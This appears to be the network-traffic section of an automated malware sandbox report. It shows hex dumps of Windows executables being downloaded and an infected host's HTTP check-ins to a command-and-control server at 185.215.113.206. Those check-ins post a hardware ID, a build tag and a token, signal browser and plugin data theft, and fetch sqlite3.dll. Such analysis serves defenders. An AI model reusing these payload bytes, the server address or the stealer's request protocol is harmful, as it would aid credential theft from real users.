00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:07:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:07:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:07:06 GMTContent-Type: application/octet-streamContent-Length: 2990592Last-Modified: Fri, 20 Dec 2024 14:42:41 GMTConnection: keep-aliveETag: "67658261-2da200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 50 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 31 00 00 04 00 00 26 88 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 2e 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 2e 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 61 73 63 71 6d 70 7a 72 00 90 2a 00 00 b0 06 00 00 86 2a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 6f 6e 79 6b 6c 63 00 10 00 00 00 40 31 00 00 06 00 00 00 7a 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 31 00 00 22 00 00 00 80 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:08:10 GMTContent-Type: application/octet-streamContent-Length: 644608Last-Modified: Fri, 20 Dec 2024 14:26:50 GMTConnection: keep-aliveETag: "67657eaa-9d600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 09 7d 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ca 09 00 00 0a 00 00 00 00 00 00 72 40 00 00 00 20 00 00 00 00 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 0a 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 40 00 00 4f 00 00 00 00 00 0a 00 64 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 78 c8 09 00 00 20 00 00 00 ca 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 64 06 00 00 00 00 0a 00 00 08 00 00 00 cc 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 0a 00 00 02 00 00 00 d4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 40 00 00 00 00 00 00 48 00 00 00 02 00 05 00 60 26 00 00 c0 19 00 00 03 00 00 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 02 28 12 00 00 0a 00 2a 3e 02 28 12 00 00 0a 00 02 03 7d 01 00 00 04 2a d6 02 1f 1a 28 13 00 00 0a 7d 02 00 00 04 02 28 14 00 00 0a 00 00 02 02 7b 02 00 00 04 72 01 00 00 70 1f 63 1f 6c 28 15 00 00 0a 28 16 00 00 0a 7d 03 00 00 04 2a 00 13 30 03 00 1d 00 00 00 01 00 00 11 00 20 00 a8 09 00 8d 26 00 00 01 25 d0 0b 00 00 04 28 17 00 00 0a 0a 06 0b 2b 00 07 2a 46 00 02 02 28 18 00 00 0a 18 60 28 19 00 00 0a 00 2a 00 13 30 01 00 15 00 00 00 02 00 00 11 00 02 28 1a 00 00 0a 0a 06 2c 09 00 02 28 1b 00 00 0a 00 00 2a 00 00 00 13 30 04 00 3a 00 00 00 03 00 00 11 00 16 0a 2b 2a 00 02 06 02 06 91 66 d2 9c 02 06 8f 26 00 00 01 25 47 1f 69 59 d2 52 02 06 8f 26 00 00 01 25 47 1f 34 58 d2 52 00 06 17 58 0a 06 02 8e 69 fe 04 0b 07 2d cc 2a 46 00 02 03 28 1c 00 00 0a 00 02 28 09 00 00 06 00 2a 13 30 02 00 9d 00 00 00 04 00 00 11 00 73 03 00 00 06 0a 06 7b 03 00 00 04 28 0a 00 00 06 00 28 08 00 00 06 0b 07 28 0b 00 00 06 00 06 7b 03 00 00 04 07 28 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:08:16 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 46 35 45 38 44 35 41 45 42 38 44 37 30 39 39 36 31 34 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="hwid"0F5E8D5AEB8D709961413------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build"stok------IDBKKKKKFBGDGDHIDBGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFIIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 2d 2d 0d 0a Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="message"browsers------KKFBAAFCGIEGDHIEBFII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="message"plugins------DAFIEHIEGDHIDGDGHDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="message"fplugins------ECBGCBGCAFIIECBFIDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 185.215.113.206Content-Length: 6595Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
